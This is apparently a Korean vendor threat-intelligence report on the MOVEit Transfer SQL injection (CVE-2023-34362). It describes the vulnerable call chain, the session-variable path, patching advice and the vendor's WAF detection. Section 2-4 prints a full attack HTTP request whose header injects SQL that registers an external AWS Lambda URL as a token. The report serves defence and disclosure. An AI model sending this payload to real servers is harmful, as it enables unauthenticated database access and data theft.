[2024년 6월 취약점 보고서] MOVEit Transfer SQL Injection(CVE-2023-34362) | Cloud-Based Platform AIONCLOUD

Threat Intelligence Report

Get up-to-date information on web application vulnerabilities, attacks, and how to respond.

Threat Intelligence Report 메인페이지로 돌아가기

[2024년 6월 취약점 보고서] MOVEit Transfer SQL Injection(CVE-2023-34362)

TA 팀이 "MOVEit 전송 SQL 인젝션(CVE-2023-34362)"을 분석하여 작성한 취약점 보고서


이 취약점은 CL0P 랜섬웨어 그룹이 악용한 공격으로, 심각한 피해를 유발합니다. 악의적인 사용자는 이 취약점을 악용하여 데이터를 유출하고 탈취한 파일에 대한 금전을 요구했습니다.

이 취약점은 인증되지 않은 공격자가 SQL 인젝션이라는 방법을 통해 기업의 데이터베이스에 액세스하고 조작할 수 있게 하여 심각한 데이터 유출, 민감한 정보 손실, 심각한 서비스 중단을 초래할 수 있습니다. 또한 공격의 접근성과 다양성이 뛰어나기 때문에 공격 외에도 추가적인 공격이 발생할 수 있습니다.

이 취약점은 13.0.7, 14.0.5, 14.1.6, 15.0.2 및 최신 버전으로 업데이트하면 해결할 수 있으며, 일반적으로 AIWAF 제품의 MOVEit 패턴 탐지를 통해 탐지됩니다.


1. 개요

최근 이슈가 된 CVE-2023-34362는 MOVEit Transfer 웹 애플리케이션에서 발생한 SQL Injection 공격 입니다. 이 취약점은 CL0P 랜섬웨어 그룹에서 사용하여 크게 이슈가 되었습니다.

image.png


2. 공격 과정

2-1. 호출

취약한 기능에 대한 경로는 UserGetUsersWithEmailAddress () 함수의 GeustAccess.aspx에 대한 인증되지 않은 호출을 통한 것으로 관련 호출에 대한 전체 호출 체인은 다음과 같습니다.

image.png

2-2. 세션

호출 체인과 취약한 기능에 도달하는 데 필요한 모든 변수 설정을 심층적으로 분석하지는 않지만 세션 변수 조작에 대한 액세스로 변경된 사항의 핵심은 GeustAccess의 시작 부분인 SILGuestAccess.aspx에 있습니다.

메인 함수 호출은 this.m_pkginfo.LoadFromSession()으로 영향을 미칠수 있는 세션 변수에서 변수를 설정합니다.

image.png

설명 : LoadFromSession()은 세션에서 변수를 로드합니다.

출처 : https://www.horizon3.ai/attack-research/attack-blogs/moveit-transfer-cve-2023-34362

2-3. 쿼리

SQL 주입을 트리거하려면 먼저 movitisapi.dll?action=m2 > SILMachine2(machine2.aspx) > SetAllSessionVarsFromHeaders() 경로를 통해 MyPkgSelfProvisionDips 환경 변수에 페이로드를 넣은 다음 GuestAccess.aspx를 통해 SelfProvisionDips에 복사합니다.

그런 다음 SelfProvisionedRecips 값은 쉼표로 구분된 전자 메일 주소 목록으로 구문 분석되어 UserGetUsersWithEmailAddress() 구문 분석 되고 삭제되지 않은 상태로 전달된 다음 AND Email='...' 값으로 구성된 SQL 쿼리에 삽입되어 임의 쿼리가 실행됩니다.

SELECT Username, Permissions, LoginName, Email FROM users WHERE InstID=9389 AND Deleted=0 AND (Email='<EmailAddress>' OR Email LIKE (%EscapeLikeForSQL(<EmailAddress>)) or Email LIKE (EscapeLikeForSQL(<EmailAddress>));

2-4. 공격 구문

위의 선행 조건을 충족 하였을 시 공격 구문을 생성하여 취약한 서버에 요청을 보냅니다.

ex)

POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
xx-silock-transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar0: MyPkgID: 0
X-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO `userexternaltokens` (`TokenId`) VALUES ('exchange__https://kd5cvqi7mbey62lcxiypj2lxxu0kofsk.lambda-url.us-east-2.on.aws/'); -- asdf
Content-Length: 0

3. 대응

MOVEit Transfer SQL Injection(CVE-2023-34362)에 대응하는 방법은 일반적으로 2가지로 확인 됩니다.

  • MOVEit Transfer 환경에 대한 모든 HTTP/HTTPS 트래픽 비활성화
  • MOVEit Transfer 최신버전으로 패치

저희 AIWAF 제품에서는 "MOVEit Privilege Escalation Vulnerability" 패턴으로 해당 취약점을 악용한 공격 구문을 탐지하고 있습니다.


4. 결론

CL0P 랜섬웨어 그룹이 주도한 MOVEit 사건은 한동안 사이버 보안 뉴스를 지배했으며, 1,000개 이상의 조직이 영향을 받았습니다. 이 숫자는 계속 증가할 것으로 예상되며, 2021년 솔라윈즈 이후 가장 강력한 소프트웨어 공급망 공격 중 하나가 될 것입니다.

MOVEit 제품 관련 취약점은 공격 접근성과 다양성에 비례하여 공격 영향도가 높은 취약점으로 그에 따른 파급력이 커 빠른 대응이 필요하여 이에 따른 업데이트도 계속 나오기 때문에 주기적으로 점검 및 업데이트가 필요합니다.

저희 AIWAF 제품에서는 MOVEit 제품 관련 취약점들에 대해 패턴을 다수 개발하여 대응하고 있으며, 앞으로도 발견되는 MOVEit 제품 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.


5. 참조


Scroll Up